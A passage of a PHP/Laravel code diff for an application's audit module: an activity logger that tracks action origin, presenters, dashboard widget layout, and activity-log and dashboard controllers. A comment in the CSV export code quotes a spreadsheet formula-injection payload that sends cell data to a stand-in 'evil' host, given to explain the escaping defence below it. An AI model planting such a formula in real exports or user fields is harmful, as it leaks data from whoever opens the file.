* Record an action. The actor defaults to the authenticated user;
|
||||
* pass one explicitly for flows without a session (CLI, setup).
|
||||
* Actor and subject names are snapshotted so entries survive
|
||||
* deletions.
|
||||
*
|
||||
* @param array<string, mixed> $context
|
||||
*/
|
||||
public function log(Action $action, ?User $actor = null, ?Model $subject = null, array $context = []): void
|
||||
{
|
||||
$user = $actor ?? Auth::user();
|
||||
|
||||
// How the action arrived is resolved here rather than at each call
|
||||
// site: the API reuses the same controllers and services the UI does
|
||||
// (FileDownloadController and StoreUploadedFile are both shared
|
||||
// verbatim), so asking every caller to remember would guarantee
|
||||
// gaps. Reading the current request's credential is the same kind of
|
||||
// implicit lookup this class already does for the actor and the IP.
|
||||
$token = $user?->currentAccessToken();
|
||||
|
||||
ActivityLog::query()->create([
|
||||
'actor_id' => $user?->getKey(),
|
||||
'actor_name' => $user?->name,
|
||||
'actor_type' => $user?->type->value,
|
||||
'origin' => $this->originFor($user, $token),
|
||||
'api_token_id' => $token?->getKey(),
|
||||
// Snapshotted beside the id for the same reason actor_name is:
|
||||
// a revoked token must not leave its entries pointing at nothing.
|
||||
'api_token_name' => $token?->getAttribute('name'),
|
||||
'action' => $action,
|
||||
'subject_type' => $subject?->getMorphClass(),
|
||||
'subject_id' => $subject?->getKey(),
|
||||
'subject_name' => $this->subjectName($subject),
|
||||
'context' => $context === [] ? null : $context,
|
||||
'ip_address' => $this->shouldRecordIp($action, $user) ? request()->ip() : null,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Setting::DownloadIpLogging governs download-shaped entries and
|
||||
* file previews alike — both are ways of viewing a file's contents,
|
||||
* so previews would otherwise leak IPs through a privacy setting a
|
||||
* client believes covers "viewing my files." A security audit trail
|
||||
* (staff actions, logins, …) always records IP regardless, since
|
||||
* that's an operational concern, not a client-privacy one.
|
||||
*/
|
||||
/**
|
||||
* A token means the API; an actor without one means a browser session.
|
||||
* No actor at all is either a console command or a request from
|
||||
* somebody not signed in — and those are not the same thing, so
|
||||
* something has to tell them apart rather than both landing on System.
|
||||
* (Scheduled tasks do not reach here at all: they call logSystem(),
|
||||
* which sets System outright.)
|
||||
*
|
||||
* That something is a matched route, not App::runningInConsole():
|
||||
* the whole test suite runs in console, so the console check would
|
||||
* classify every HTTP test as System and quietly make this
|
||||
* untestable — the failure mode being that it looks right in
|
||||
* production and nothing proves it. A console command and a queued job
|
||||
* have no route; a request does.
|
||||
*/
|
||||
private function originFor(?User $actor, mixed $token): ActivityOrigin
|
||||
{
|
||||
if ($token !== null) {
|
||||
return ActivityOrigin::Api;
|
||||
}
|
||||
|
||||
if ($actor !== null) {
|
||||
return ActivityOrigin::Ui;
|
||||
}
|
||||
|
||||
return request()->route() === null ? ActivityOrigin::System : ActivityOrigin::Public;
|
||||
}
|
||||
|
||||
private function shouldRecordIp(Action $action, ?User $actor): bool
|
||||
{
|
||||
if (! in_array($action, [Action::FileDownloaded, Action::FilePreviewed, Action::ShareLinkDownloaded, Action::PublicFileDownloaded], true)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return match ($this->settings->get(Setting::DownloadIpLogging)) {
|
||||
'none' => false,
|
||||
'anonymous_only' => $actor === null,
|
||||
default => true,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Record an action as the system itself, never attributing the
|
||||
* authenticated user (compliance jobs, scheduled work).
|
||||
*
|
||||
* @param array<string, mixed> $context
|
||||
*/
|
||||
public function logSystem(Action $action, array $context = []): void
|
||||
{
|
||||
ActivityLog::query()->create([
|
||||
'actor_id' => null,
|
||||
'actor_name' => null,
|
||||
'actor_type' => null,
|
||||
'origin' => ActivityOrigin::System,
|
||||
'action' => $action,
|
||||
'subject_type' => null,
|
||||
'subject_id' => null,
|
||||
'subject_name' => null,
|
||||
'context' => $context === [] ? null : $context,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
|
||||
private function subjectName(?Model $subject): ?string
|
||||
{
|
||||
if ($subject === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$name = $subject->getAttribute('name') ?? $subject->getAttribute('title');
|
||||
|
||||
return is_string($name) ? $name : null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit;
|
||||
|
||||
/**
|
||||
* How an audited action reached the application.
|
||||
*
|
||||
* Distinct from `actor_type`, which says *who* acted (staff, client, or
|
||||
* nobody). Origin says *through what*: the same staff member deleting the
|
||||
* same file from the web UI and from an integration produces two entries
|
||||
* that are otherwise identical, and an administrator reviewing the log
|
||||
* needs to tell them apart — "did I do that, or did the Zapier token?" is
|
||||
* the first question asked when something unexpected shows up.
|
||||
*/
|
||||
enum ActivityOrigin: string
|
||||
{
|
||||
/** A browser session — the web UI. */
|
||||
case Ui = 'ui';
|
||||
|
||||
/** An API token. `api_token_id` and `api_token_name` are set alongside. */
|
||||
case Api = 'api';
|
||||
|
||||
/**
|
||||
* A web request with nobody signed in — a visitor commenting on a
|
||||
* public file today, and whatever else the public surface grows.
|
||||
*
|
||||
* Split out of System because the two are not the same thing and were
|
||||
* being shown with the same word: the scheduler deleting an expired
|
||||
* file and a stranger leaving a comment both read as "System", which
|
||||
* made the audit trail claim the installation had commented on its own
|
||||
* file. Scheduled tasks keep System — they go through
|
||||
* ActivityLogger::logSystem(), which never asks this method.
|
||||
*/
|
||||
case Public = 'public';
|
||||
|
||||
/** Scheduled tasks and console commands. */
|
||||
case System = 'system';
|
||||
|
||||
/**
|
||||
* English label — also the translation key.
|
||||
*/
|
||||
public function label(): string
|
||||
{
|
||||
return match ($this) {
|
||||
self::Ui => 'Web UI',
|
||||
self::Api => 'API',
|
||||
self::Public => 'Not signed in',
|
||||
self::System => 'System',
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit;
|
||||
|
||||
/**
|
||||
* Turns a log entry into the sentence-ready array the frontend renders,
|
||||
* so the dashboard, the activity page, and per-item detail panels all
|
||||
* present entries identically.
|
||||
*/
|
||||
class ActivityPresenter
|
||||
{
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function present(ActivityLog $entry): array
|
||||
{
|
||||
return [
|
||||
'id' => $entry->id,
|
||||
'created_at' => $entry->created_at->toIso8601String(),
|
||||
'actor_name' => $entry->actor_name,
|
||||
'actor_type' => $entry->actor_type,
|
||||
// Needed to render an actorless entry: "System" and "Anonymous"
|
||||
// are both actor_name null, and only the origin separates them.
|
||||
'origin' => $entry->origin->value,
|
||||
'template' => $entry->action->template(),
|
||||
'replacements' => [
|
||||
'subject' => $entry->subject_name
|
||||
?? ($entry->subject_id !== null ? __('(deleted account)') : ''),
|
||||
...collect($entry->context ?? [])
|
||||
->filter(fn ($value): bool => is_scalar($value))
|
||||
->map(fn ($value): string => (string) $value)
|
||||
->all(),
|
||||
],
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit;
|
||||
|
||||
use App\Modules\Audit\Listeners\LogAuthenticationActivity;
|
||||
use App\Modules\Audit\Listeners\LogCustomAssetActivity;
|
||||
use Illuminate\Support\Facades\Event;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class AuditServiceProvider extends ServiceProvider
|
||||
{
|
||||
public function register(): void
|
||||
{
|
||||
$this->app->singleton(ActivityLogger::class);
|
||||
}
|
||||
|
||||
public function boot(): void
|
||||
{
|
||||
Event::subscribe(LogAuthenticationActivity::class);
|
||||
Event::subscribe(LogCustomAssetActivity::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Audit\Models\DashboardWidgetPreference;
|
||||
|
||||
/**
|
||||
* Per-user dashboard layout: which widgets are shown, which column each
|
||||
* sits in, and their order within it. Doesn't fit Setting (that's one row
|
||||
* per key, install-wide — no per-user dimension), same reasoning as
|
||||
* NotificationPreferences, hence the dedicated table.
|
||||
*/
|
||||
class DashboardWidgetPreferences
|
||||
{
|
||||
private const DEFAULT_COLUMNS = 2;
|
||||
|
||||
/**
|
||||
* Default (column_index, position) for a widget with no stored row
|
||||
* yet — a reasonable starting spread, immediately rearrangeable.
|
||||
*
|
||||
* @var array<string, array{0: int, 1: int}>
|
||||
*/
|
||||
private const DEFAULT_LAYOUT = [
|
||||
'counters' => [0, 0],
|
||||
'transfers' => [0, 1],
|
||||
'recent' => [0, 2],
|
||||
'top_clients_by_storage' => [1, 0],
|
||||
'largest_files' => [1, 1],
|
||||
'system' => [1, 2],
|
||||
'news' => [1, 3],
|
||||
'expired_files' => [0, 3],
|
||||
'api' => [1, 4],
|
||||
];
|
||||
|
||||
public function isEnabled(User $user, string $widgetKey): bool
|
||||
{
|
||||
$row = DashboardWidgetPreference::query()
|
||||
->where('user_id', $user->id)
|
||||
->where('widget_key', $widgetKey)
|
||||
->first();
|
||||
|
||||
return $row->enabled ?? true;
|
||||
}
|
||||
|
||||
public function columnsFor(User $user): int
|
||||
{
|
||||
return $user->dashboard_columns ?? self::DEFAULT_COLUMNS;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $permittedKeys Only widget keys the viewer
|
||||
* actually holds permission for
|
||||
* — never reveal the layout of
|
||||
* one they can't see at all.
|
||||
* @return array<string, array{enabled: bool, column_index: int, position: int}>
|
||||
*/
|
||||
public function layoutFor(User $user, array $permittedKeys): array
|
||||
{
|
||||
$rows = DashboardWidgetPreference::query()
|
||||
->where('user_id', $user->id)
|
||||
->whereIn('widget_key', $permittedKeys)
|
||||
->get()
|
||||
->keyBy('widget_key');
|
||||
|
||||
$layout = [];
|
||||
|
||||
foreach ($permittedKeys as $key) {
|
||||
$row = $rows->get($key);
|
||||
[$defaultColumn, $defaultPosition] = self::DEFAULT_LAYOUT[$key] ?? [0, 0];
|
||||
|
||||
$layout[$key] = [
|
||||
'enabled' => $row->enabled ?? true,
|
||||
'column_index' => $row->column_index ?? $defaultColumn,
|
||||
'position' => $row->position ?? $defaultPosition,
|
||||
];
|
||||
}
|
||||
|
||||
return $layout;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit;
|
||||
|
||||
/**
|
||||
* Turns a download-action ActivityLog entry (FileDownloaded /
|
||||
* ShareLinkDownloaded / PublicFileDownloaded) into the flat shape every
|
||||
* downloads view renders, overriding the actor label for the two
|
||||
* anonymous public-download actions so callers don't re-derive it.
|
||||
*/
|
||||
class DownloadPresenter
|
||||
{
|
||||
/**
|
||||
* @return array{id: int, created_at: string, actor_name: string, actor_type: ?string, ip_address: ?string}
|
||||
*/
|
||||
public function present(ActivityLog $entry): array
|
||||
{
|
||||
$isPublic = in_array($entry->action, [Action::ShareLinkDownloaded, Action::PublicFileDownloaded], true);
|
||||
|
||||
return [
|
||||
'id' => $entry->id,
|
||||
'created_at' => $entry->created_at->toIso8601String(),
|
||||
'actor_name' => match ($entry->action) {
|
||||
Action::ShareLinkDownloaded => __('Public link'),
|
||||
Action::PublicFileDownloaded => __('Public listing'),
|
||||
default => $entry->actor_name ?? __('(deleted account)'),
|
||||
},
|
||||
'actor_type' => $isPublic ? null : $entry->actor_type,
|
||||
'ip_address' => $entry->ip_address,
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,307 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLog;
|
||||
use App\Modules\Audit\ActivityLogScope;
|
||||
use App\Modules\Audit\ActivityOrigin;
|
||||
use App\Modules\Files\Models\File;
|
||||
use App\Modules\Files\Models\Folder;
|
||||
use App\Modules\Groups\Models\Group;
|
||||
use App\Modules\Identity\Models\Role;
|
||||
use App\Modules\Identity\UserType;
|
||||
use App\Modules\Platform\Capabilities\Capability;
|
||||
use App\Modules\Platform\Capabilities\CapabilityRegistry;
|
||||
use App\Modules\Platform\Localization\LocalDay;
|
||||
use App\Modules\Platform\Localization\TimezoneRegistry;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
use Symfony\Component\HttpFoundation\StreamedResponse;
|
||||
|
||||
class ActivityLogController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly CapabilityRegistry $capabilities,
|
||||
private readonly ActivityLogScope $scope,
|
||||
private readonly TimezoneRegistry $timezones,
|
||||
) {}
|
||||
|
||||
public function index(Request $request): Response
|
||||
{
|
||||
$filters = $this->validatedFilters($request);
|
||||
|
||||
$viewer = $request->user();
|
||||
assert($viewer !== null);
|
||||
|
||||
$entries = $this->filteredQuery($filters, $viewer)
|
||||
->paginate(25)
|
||||
->withQueryString();
|
||||
|
||||
$links = $this->linkResolver($entries->getCollection(), $viewer);
|
||||
|
||||
return Inertia::render('activity/index', [
|
||||
'entries' => $entries->getCollection()->map(fn (ActivityLog $entry): array => [
|
||||
'id' => $entry->id,
|
||||
'created_at' => $entry->created_at->toIso8601String(),
|
||||
'actor_name' => $entry->actor_name,
|
||||
'actor_type' => $entry->actor_type,
|
||||
'origin' => $entry->origin->value,
|
||||
'origin_label' => $entry->origin->label(),
|
||||
'api_token_name' => $entry->api_token_name,
|
||||
'action' => $entry->action->value,
|
||||
'template' => $entry->action->template(),
|
||||
'replacements' => $this->replacements($entry),
|
||||
'actor_url' => $links($entry->actor_id, User::class),
|
||||
'subject_url' => $links($entry->subject_id, $entry->subject_type),
|
||||
])->all(),
|
||||
'pagination' => [
|
||||
'page' => $entries->currentPage(),
|
||||
'last_page' => $entries->lastPage(),
|
||||
'prev' => $entries->previousPageUrl(),
|
||||
'next' => $entries->nextPageUrl(),
|
||||
'total' => $entries->total(),
|
||||
],
|
||||
'filters' => $filters,
|
||||
'actions' => array_map(fn (Action $action): array => [
|
||||
'key' => $action->value,
|
||||
'description' => $action->description(),
|
||||
], Action::cases()),
|
||||
'origins' => array_map(fn (ActivityOrigin $origin): array => [
|
||||
'key' => $origin->value,
|
||||
'label' => $origin->label(),
|
||||
], ActivityOrigin::cases()),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Streamed CSV export honoring the same filters as the list.
|
||||
*/
|
||||
public function export(Request $request): StreamedResponse
|
||||
{
|
||||
$filters = $this->validatedFilters($request);
|
||||
|
||||
$viewer = $request->user();
|
||||
assert($viewer !== null);
|
||||
|
||||
// Both the filename and every row are stamped in the exporter's
|
||||
// own zone, so a file named for "today" holds the rows the screen
|
||||
// showed under that same word.
|
||||
$timezone = $this->timezones->resolve($viewer);
|
||||
|
||||
$filename = 'activity-log-'.now()->setTimezone($timezone)->format('Y-m-d').'.csv';
|
||||
|
||||
return response()->streamDownload(function () use ($filters, $viewer, $timezone): void {
|
||||
$out = fopen('php://output', 'w');
|
||||
assert($out !== false);
|
||||
|
||||
fputcsv($out, ['Date', 'Account', 'Account type', 'Origin', 'API token', 'Action', 'Description', 'Subject', 'Details']);
|
||||
|
||||
foreach ($this->filteredQuery($filters, $viewer)->lazy() as $entry) {
|
||||
fputcsv($out, array_map($this->csvSafe(...), [
|
||||
// Kept as ISO 8601 — a spreadsheet parses it and the
|
||||
// offset makes the zone self-describing, so the column
|
||||
// stays unambiguous once it leaves the app.
|
||||
$entry->created_at->setTimezone($timezone)->toIso8601String(),
|
||||
$entry->actor_name ?? 'System',
|
||||
$entry->actor_type ?? 'system',
|
||||
$entry->origin->label(),
|
||||
$entry->api_token_name ?? '',
|
||||
$entry->action->value,
|
||||
__($entry->action->template(), $this->replacements($entry)),
|
||||
$entry->subject_name,
|
||||
$entry->context === null ? '' : json_encode($entry->context),
|
||||
]));
|
||||
}
|
||||
|
||||
fclose($out);
|
||||
}, $filename, ['Content-Type' => 'text/csv']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Neutralize spreadsheet formula injection. Half the columns here carry
|
||||
* names the subject chose themselves — a self-registering client picks
|
||||
* their own, and it lands in `actor_name` — so a value like
|
||||
* `=HYPERLINK("http://evil/?"&A1,"x")` would execute when an admin opens
|
||||
* the export. Excel/Sheets/LibreOffice all treat a leading =, +, -, @,
|
||||
* tab or CR as the start of a formula; prefixing with an apostrophe
|
||||
* makes the cell literal text while still displaying the value.
|
||||
*/
|
||||
private function csvSafe(mixed $value): string
|
||||
{
|
||||
$value = is_scalar($value) ? (string) $value : '';
|
||||
|
||||
return preg_match('/^[=+\-@\t\r]/', $value) === 1 ? "'".$value : $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Builds a resolver mapping (id, morph class) to the edit URL of a
|
||||
* still-existing object — only when the viewer is allowed to open
|
||||
* it. Lookups are batched for the current page.
|
||||
*
|
||||
* @param Collection<int, ActivityLog> $entries
|
||||
* @return callable(int|null, string|null): ?string
|
||||
*/
|
||||
private function linkResolver(Collection $entries, User $viewer): callable
|
||||
{
|
||||
$userIds = $entries->pluck('actor_id')
|
||||
->merge($entries->where('subject_type', User::class)->pluck('subject_id'))
|
||||
->filter()
|
||||
->unique();
|
||||
|
||||
$roleIds = $entries->where('subject_type', Role::class)->pluck('subject_id')->filter()->unique();
|
||||
$groupIds = $entries->where('subject_type', Group::class)->pluck('subject_id')->filter()->unique();
|
||||
$fileIds = $entries->where('subject_type', File::class)->pluck('subject_id')->filter()->unique();
|
||||
$folderIds = $entries->where('subject_type', Folder::class)->pluck('subject_id')->filter()->unique();
|
||||
|
||||
/** @var array<int, UserType> $users */
|
||||
$users = $userIds->isEmpty()
|
||||
? []
|
||||
: User::query()->whereIn('id', $userIds)->pluck('type', 'id')->all();
|
||||
|
||||
/** @var array<int, true> $roles */
|
||||
$roles = $roleIds->isEmpty()
|
||||
? []
|
||||
: Role::query()->whereIn('id', $roleIds)->pluck('id')->mapWithKeys(fn ($id) => [(int) $id => true])->all();
|
||||
|
||||
/** @var array<int, true> $groups */
|
||||
$groups = $groupIds->isEmpty()
|
||||
? []
|
||||
: Group::query()->whereIn('id', $groupIds)->pluck('id')->mapWithKeys(fn ($id) => [(int) $id => true])->all();
|
||||
|
||||
// Resolved through the viewer's library scope, not a bare existence
|
||||
// check: permission alone said "this viewer may open files", which
|
||||
// for a client-scoped viewer produced links to files they would get
|
||||
// a 403 on.
|
||||
$files = $this->scope->openableFileIds($viewer, $fileIds);
|
||||
$folders = $this->scope->openableFolderIds($viewer, $folderIds);
|
||||
|
||||
$staffModule = $this->capabilities->has(Capability::UsersManage) && $viewer->can('manage_users');
|
||||
$canStaff = $staffModule && $viewer->can('edit_users');
|
||||
$canClients = $viewer->can('edit_clients');
|
||||
$canGroups = $viewer->can('edit_groups');
|
||||
$canFiles = $viewer->can('upload') || $viewer->can('edit_files') || $viewer->can('edit_others_files');
|
||||
|
||||
return function (?int $id, ?string $morphClass) use ($users, $roles, $groups, $files, $folders, $canStaff, $canClients, $canGroups, $canFiles, $staffModule): ?string {
|
||||
if ($id === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if ($morphClass === User::class && isset($users[$id])) {
|
||||
return match (true) {
|
||||
$users[$id] === UserType::Staff && $canStaff => route('users.edit', $id, false),
|
||||
$users[$id] === UserType::Client && $canClients => route('clients.edit', $id, false),
|
||||
default => null,
|
||||
};
|
||||
}
|
||||
|
||||
if ($morphClass === Role::class && isset($roles[$id]) && $staffModule) {
|
||||
return route('roles.edit', $id, false);
|
||||
}
|
||||
|
||||
if ($morphClass === Group::class && isset($groups[$id]) && $canGroups) {
|
||||
return route('groups.edit', $id, false);
|
||||
}
|
||||
|
||||
if ($morphClass === File::class && isset($files[$id]) && $canFiles) {
|
||||
return route('files.edit', $id, false);
|
||||
}
|
||||
|
||||
if ($morphClass === Folder::class && isset($folders[$id]) && $canFiles) {
|
||||
return route('files.index', ['folder' => $id], false);
|
||||
}
|
||||
|
||||
return null;
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Placeholder values for the entry's sentence template: the subject
|
||||
* name plus any scalar context values.
|
||||
*
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function replacements(ActivityLog $entry): array
|
||||
{
|
||||
$replacements = [
|
||||
'subject' => $entry->subject_name
|
||||
?? ($entry->subject_id !== null ? __('(deleted account)') : ''),
|
||||
];
|
||||
|
||||
foreach ($entry->context ?? [] as $key => $value) {
|
||||
if (is_scalar($value)) {
|
||||
$replacements[$key] = (string) $value;
|
||||
}
|
||||
}
|
||||
|
||||
return $replacements;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{action: ?string, actor_type: ?string, origin: ?string, api_token: ?string, actor: ?string, from: ?string, to: ?string}
|
||||
*/
|
||||
private function validatedFilters(Request $request): array
|
||||
{
|
||||
$validated = $request->validate([
|
||||
'action' => ['nullable', Rule::enum(Action::class)],
|
||||
'actor_type' => ['nullable', Rule::in(['staff', 'client', 'system'])],
|
||||
'origin' => ['nullable', Rule::enum(ActivityOrigin::class)],
|
||||
'api_token' => ['nullable', 'string', 'max:255'],
|
||||
'actor' => ['nullable', 'string', 'max:255'],
|
||||
'from' => ['nullable', 'date'],
|
||||
'to' => ['nullable', 'date', 'after_or_equal:from'],
|
||||
]);
|
||||
|
||||
return [
|
||||
'action' => $validated['action'] ?? null,
|
||||
'actor_type' => $validated['actor_type'] ?? null,
|
||||
'origin' => $validated['origin'] ?? null,
|
||||
'api_token' => $validated['api_token'] ?? null,
|
||||
'actor' => $validated['actor'] ?? null,
|
||||
'from' => $validated['from'] ?? null,
|
||||
'to' => $validated['to'] ?? null,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{action: ?string, actor_type: ?string, origin: ?string, api_token: ?string, actor: ?string, from: ?string, to: ?string} $filters
|
||||
* @return Builder<ActivityLog>
|
||||
*/
|
||||
private function filteredQuery(array $filters, User $viewer): Builder
|
||||
{
|
||||
$timezone = $this->timezones->resolve($viewer);
|
||||
|
||||
return $this->scope->apply(ActivityLog::query(), $viewer)
|
||||
->when($filters['action'], fn (Builder $query, string $action) => $query->where('action', $action))
|
||||
->when($filters['origin'], fn (Builder $query, string $origin) => $query->where('origin', $origin))
|
||||
// Matched on the snapshotted name rather than the id, so a
|
||||
// revoked token's history stays reachable — which is exactly
|
||||
// when someone follows this link.
|
||||
->when($filters['api_token'], fn (Builder $query, string $token) => $query->where('api_token_name', $token))
|
||||
->when($filters['actor_type'], fn (Builder $query, string $type) => $type === 'system'
|
||||
? $query->whereNull('actor_type')
|
||||
: $query->where('actor_type', $type))
|
||||
->when($filters['actor'], fn (Builder $query, string $actor) => $query->where('actor_name', 'like', "%{$actor}%"))
|
||||
// Bounded by the viewer's own day rather than the UTC one —
|
||||
// see LocalDay for why whereDate() cannot do this.
|
||||
->when(
|
||||
$filters['from'] !== null ? LocalDay::start($filters['from'], $timezone) : null,
|
||||
fn (Builder $query, Carbon $from) => $query->where('created_at', '>=', $from),
|
||||
)
|
||||
->when(
|
||||
$filters['to'] !== null ? LocalDay::end($filters['to'], $timezone) : null,
|
||||
fn (Builder $query, Carbon $to) => $query->where('created_at', '<=', $to),
|
||||
)
|
||||
->orderByDesc('created_at')
|
||||
->orderByDesc('id');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,479 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Modules\Api\ApiUsage;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLog;
|
||||
use App\Modules\Audit\DashboardWidgetPreferences;
|
||||
use App\Modules\Clients\ClientStorageUsage;
|
||||
use App\Modules\Files\Models\File;
|
||||
use App\Modules\Groups\Models\Group;
|
||||
use App\Modules\Identity\UserType;
|
||||
use App\Modules\Platform\Capabilities\Capability;
|
||||
use App\Modules\Platform\Capabilities\CapabilityRegistry;
|
||||
use App\Modules\Platform\Installation\Installation;
|
||||
use App\Modules\Platform\Localization\TimezoneRegistry;
|
||||
use App\Modules\Platform\News\NewsItems;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use App\Modules\Platform\Storage\StorageDurability;
|
||||
use App\Modules\Platform\System\SystemEnvironment;
|
||||
use App\Modules\Platform\Updates\LatestReleaseInfo;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
/**
|
||||
* The dashboard (brief §6.11: dashboard & reporting live in Audit).
|
||||
* Staff widgets are permission-gated individually (v1 keys:
|
||||
* view_dashboard_counters, view_statistics, view_actions_log,
|
||||
* view_system_info); clients get their own portal variant.
|
||||
*/
|
||||
class DashboardController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly CapabilityRegistry $capabilities,
|
||||
private readonly ClientStorageUsage $storageUsage,
|
||||
private readonly LatestReleaseInfo $latestRelease,
|
||||
private readonly NewsItems $newsItems,
|
||||
private readonly DashboardWidgetPreferences $widgetPrefs,
|
||||
private readonly Settings $settings,
|
||||
private readonly ApiUsage $apiUsage,
|
||||
private readonly StorageDurability $storageDurability,
|
||||
private readonly Installation $installation,
|
||||
private readonly TimezoneRegistry $timezones,
|
||||
private readonly SystemEnvironment $environment,
|
||||
) {}
|
||||
|
||||
public function __invoke(Request $request): Response
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
if ($user->isClient()) {
|
||||
return $this->clientDashboard($user);
|
||||
}
|
||||
|
||||
$timezone = $this->timezones->resolve($user);
|
||||
|
||||
[$from, $to, $preset] = $this->resolveTransferRange($request, $timezone);
|
||||
|
||||
$canCounters = $user->can('view_dashboard_counters');
|
||||
$canStatistics = $user->can('view_statistics');
|
||||
$canActionsLog = $user->can('view_actions_log');
|
||||
$canSystem = $user->can('view_system_info') && $this->capabilities->has(Capability::SystemUpdates);
|
||||
$canNews = $user->can('view_news');
|
||||
$canExpiredFiles = $user->can('view_statistics');
|
||||
|
||||
$prefs = $this->widgetPrefs;
|
||||
|
||||
return Inertia::render('dashboard', [
|
||||
'counters' => $canCounters && $prefs->isEnabled($user, 'counters') ? $this->counters() : null,
|
||||
'transfers' => $canStatistics && $prefs->isEnabled($user, 'transfers') ? $this->transferSeries($from, $to, $timezone) : null,
|
||||
'transfers_range' => $canStatistics && $prefs->isEnabled($user, 'transfers')
|
||||
? ['preset' => $preset, 'from' => $from->toDateString(), 'to' => $to->toDateString()]
|
||||
: null,
|
||||
'top_clients_by_storage' => $canStatistics && $prefs->isEnabled($user, 'top_clients_by_storage')
|
||||
? $this->topClientsByStorage()
|
||||
: null,
|
||||
'largest_files' => $canStatistics && $prefs->isEnabled($user, 'largest_files') ? $this->largestFiles($user) : null,
|
||||
'recent' => $canActionsLog && $prefs->isEnabled($user, 'recent') ? $this->recentActivity() : null,
|
||||
'system' => $canSystem && $prefs->isEnabled($user, 'system') ? $this->systemInfo() : null,
|
||||
// Both editions — informational content, not an update action,
|
||||
// so no Capability check alongside the permission (unlike
|
||||
// 'system' above).
|
||||
'news' => $canNews && $prefs->isEnabled($user, 'news') ? $this->newsItems->current() : null,
|
||||
'expired_files' => $canExpiredFiles && $prefs->isEnabled($user, 'expired_files') ? $this->expiredFiles($user) : null,
|
||||
// Not permission-gated: every staff member has tokens to look
|
||||
// after, and it scopes itself to the viewer's own — the same
|
||||
// rule the API dashboard applies.
|
||||
'api' => $prefs->isEnabled($user, 'api') ? $this->apiUsage($user) : null,
|
||||
|
||||
// The layout is filtered to only the keys this viewer holds
|
||||
// permission for — never reveal a permission-hidden widget's
|
||||
// existence to the Widgets modal, same "don't tease
|
||||
// unavailable features" convention as EnsureCapability's 404.
|
||||
'widget_layout' => $prefs->layoutFor($user, $this->permittedWidgetKeys([
|
||||
'counters' => $canCounters,
|
||||
'transfers' => $canStatistics,
|
||||
'top_clients_by_storage' => $canStatistics,
|
||||
'largest_files' => $canStatistics,
|
||||
'recent' => $canActionsLog,
|
||||
'system' => $canSystem,
|
||||
'news' => $canNews,
|
||||
'expired_files' => $canExpiredFiles,
|
||||
'api' => true,
|
||||
])),
|
||||
'dashboard_columns' => $prefs->columnsFor($user),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* A glance at the viewer's own API usage, with the detail a click away
|
||||
* on the API dashboard.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function apiUsage(User $user): array
|
||||
{
|
||||
return [
|
||||
'requests_7d' => $this->apiUsage->requestsSince($user, false, now()->subDays(7)),
|
||||
'tokens' => $user->tokens()->count(),
|
||||
'expired_tokens' => $user->tokens()->whereNotNull('expires_at')->where('expires_at', '<', now())->count(),
|
||||
'last_used_at' => $user->tokens()->max('last_used_at'),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, bool> $permissions
|
||||
* @return list<string>
|
||||
*/
|
||||
private function permittedWidgetKeys(array $permissions): array
|
||||
